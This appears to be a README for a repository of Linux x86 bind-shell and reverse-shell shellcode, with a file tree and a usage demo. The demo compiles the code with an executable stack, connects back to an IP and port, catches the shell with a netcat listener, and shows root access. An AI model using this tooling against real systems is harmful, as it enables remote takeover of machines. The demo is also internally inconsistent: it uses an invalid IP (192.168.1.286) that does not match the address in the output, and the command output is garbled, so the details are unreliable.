Linux-x86

Linux/x86 - Shell (/bin/sh)

Tree

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Linux-x86

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Bind-Shellcode                        Reverse-Shell

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Bind-Shellcode.c         Bind-Shellcode.asm         Reverse-Shell.c         Reverse-Shell.asm

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Bind-Shellcode

Linux-x86/Bind-Shellcode

Linux-x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes)

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Reverse-Shell

Linux-x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes)

Linux-x86/Reverse-Shell

    Linux/x86 Reverse TCP Shell with dynamic IP and port binding Shellcode (tested on Ubuntu 12.04 LTS)
    Usage: gcc -z execstack -o shell_reverse_tcp shell_reverse_tcp.c
    $ ./shell_reverse_tcp_shellcode 192.168.1.286 4443
    Connecting to 192.168.1.198 (0xec01a8c0):4443 (0x115c)
    Byte 26: c0
    Byte 27: a8
    Byte 28: 01
    Byte 29: ec

    $ nc -nlv 4443
    Listening on 0.0.0.0 4443
    Connection received on 192.168.1.286 45219
    id
    uid=0(root) gid=0(root) groups=0(root)es)